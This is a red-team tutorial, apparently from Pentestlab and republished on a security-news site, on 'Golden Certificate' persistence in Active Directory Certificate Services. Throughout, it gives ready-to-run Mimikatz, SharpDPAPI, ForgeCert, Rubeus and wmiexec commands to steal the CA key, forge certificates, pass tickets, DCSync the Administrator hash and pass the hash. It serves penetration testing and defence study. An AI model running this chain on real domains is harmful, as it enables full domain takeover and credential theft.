Security
Headlines
HeadlinesLatestCVEs

Headline

Golden Certificate

Domain persistence techniques enable red teams that have compromised the domain to operate with the highest level of privileges in a large period. One of… Continue reading → Golden Certificate

Pentestlab
#mac#windows#microsoft#perl#acer#auth#ssl

Domain persistence techniques enable red teams that have compromised the domain to operate with the highest level of privileges in a large period. One of the most common domain persistence techniques is the Golden Ticket attack which involves the creation of a kerberos ticket using the NTLM hash of the “krbtgt” account. However, in domains which have deployed servers which act as Active Directory Certification Services (AD CS) it is possible to be abused for domain persistence in the event of a compromise. This is feasible by stealing the private key of the CA certificate which could allow a red team to forge and sign a certificate in order to be used for authentication. Certificate based authentication is enabled by default in a domain during deployment of Active Directory Certification Services (AD CS). Therefore it is required these systems to be considered as tier-0 assets and to be properly protected.

Initially this technique was implemented by Benjamin Delpy in Mimikatz. However Will Schroeder and Lee Christensen discussed this topic in the Certified Pre-Owned paper and released a tool which could be used during red team operations in order to forge the CA certificate. Operating under the radar is vital in red team assessments and domain persistence via a golden certificate provide this benefit compare to other techniques such as DCShadow and Golden Ticket which exist for more years. Performing domain persistence via a Golden Certificate requires the following steps:

  1. Certificate Extraction (CA)
  2. Forge CA Certificate
  3. Obtain a Kerberos Ticket (Machine account of DC)
  4. Perform Pass the Ticket

The CA certificate and the private key are stored in the CA server. Using an RDP connection to the system these could be retrieved using the Back up functionality of “certsrv.msc“.

certsrv – Back up CA

In the certification authority back up wizard the private key and the CA certificate they can both exported into a specified location.

certsrv – Private Key & Backup Location

The CA certificate will be exported as p12 file (Personal Information Exchange).

certsrv – Extracted CA

However, there are multiple other methods which can be used to extract the CA certificate and the private key from the server. Executing Seatbelt with the parameter “Certificates” can enumerate the stored CA certificates.

Seatbelt.exe Certificates

SeatBelt – Local Machine

Mimikatz can also interact with the crypto stores in order to retrieve and export certificates and private keys. Patching the “CryptoAPI” and the “KeyIso” unexportable keys will become exportable from a number of keys providers.

privilege::debug
crypto::capi
crypto::cng
crypto::certificates /systemstore:local_machine /store:my /export

Mimikatz – Export Certificates

Mimikatz – CA Certificate

The certificates will be extracted in both .DER and .PFX format on the disk.

SharpDPAPI can be also used for extraction of certificates. Executing the “certificates /machine” command will use the machine certificate store to extract decryptable machine certificates and private keys.

SharpDPAPI.exe certificates /machine

SharpDPAPI – Machine Certificates

Both the private key and the certificate will displayed in the console.

SharpDPAPI – CA Certificate

The extracted private key and the certificate can be written into a file with the .PEM extension. Executing the following command can convert the certificate into a usable format as .PFX allowing to be used for authentication with Rubeus.

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Convert Certificate to PFX

Forge CA Certificate

Mimikatz can be used to forge and sign a certificate by using the “crypto::scauth” module. Originally this module was developed for creating smart card authentication client certificates.The arguments required are the subject name of the certificate authority and the user principal name of the user which the certificate will be created. Optionally the “/pfx” argument can be used to define the filename of the certificate which is going to be created.

crypto::scauth /caname:ca /upn:[email protected]

Forging CA Certificate – Mimikatz

Alternatively, ForgeCert was developed by Lee Christensen in C# and enables red teams to forge a certificate for any domain user using the CA certificate for authentication. The tool can be executed from the memory of the implant and will write a file into the disk. Executing the following command will create a fake certificate for the “pentestlab” user which will be signed by the private key of the CA certificate.

ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName [email protected] --NewCertPath localadmin.pfx --NewCertPassword Password123

Forging CA Certificate – Domain User

It should be noted that the certificate must be created for an active user on the domain. Therefore it cannot be used for the “krbtgt” account. The forging certificate will have a validity period of 1 year and will be valid as long as the CA certificate is valid (typically 5 years). Except of domain user accounts, machine accounts could be used as well for domain persistence as techniques such as DCSync, Pass the Ticket and S4U2Self can be utilized.

ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName [email protected] --NewCertPath DC$.pfx --NewCertPassword Password123

Forging Certificate – Machine Account

Kerberos Ticket

A Kerberos ticket can be requested from the Key Distribution Center (KDC) using the forged certificate for authentication.

Rubeus.exe asktgt /user:pentestlab /certificate:localadmin.pfx /password:Password123

Rubeus – Kerberos Ticket

Rubeus – Domain User Ticket

Pass the Ticket

The certificate which belongs to the machine account of the domain controller could be used from any host on the domain in order to request a Kerberos ticket. Executing the following command will retrieve a ticket in base64 format.

Rubeus.exe asktgt /user:DC$ /certificate:DC$.pfx /password:Password123

Rubeus – Request Ticket for DC Machine Account

DC Machine Account Base64 Ticket

The base64 ticket can be decoded and written into a file with the .kirbi extension.

echo "<base64>" | base64 -d > dc$.kirbi

Convert Base64 Ticket to Kirbi

The ticket could be transferred into any windows host and imported into any user session using the pass the ticket technique.

Rubeus.exe ptt /ticket:dc$.kirbi

Rubeus – Pass the Ticket

Since the ticket belongs to the machine account of the domain controller elevated activities could be performed such as DCSync. From the current session executing Mimikatz and running the command below will retrieve the NTLM hash of the user Administrator which is a domain administrator account.

lsadump::dcsync /user:Administrator

Mimikatz – DCSync

The hash could be used to establish access on the domain controller using pass the hash technique or via a WMI connection.

python3 wmiexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 [email protected]

WMI Connection – Domain Controller

YouTube

Post navigation

Pentestlab: Latest News

Web Browser Stored Credentials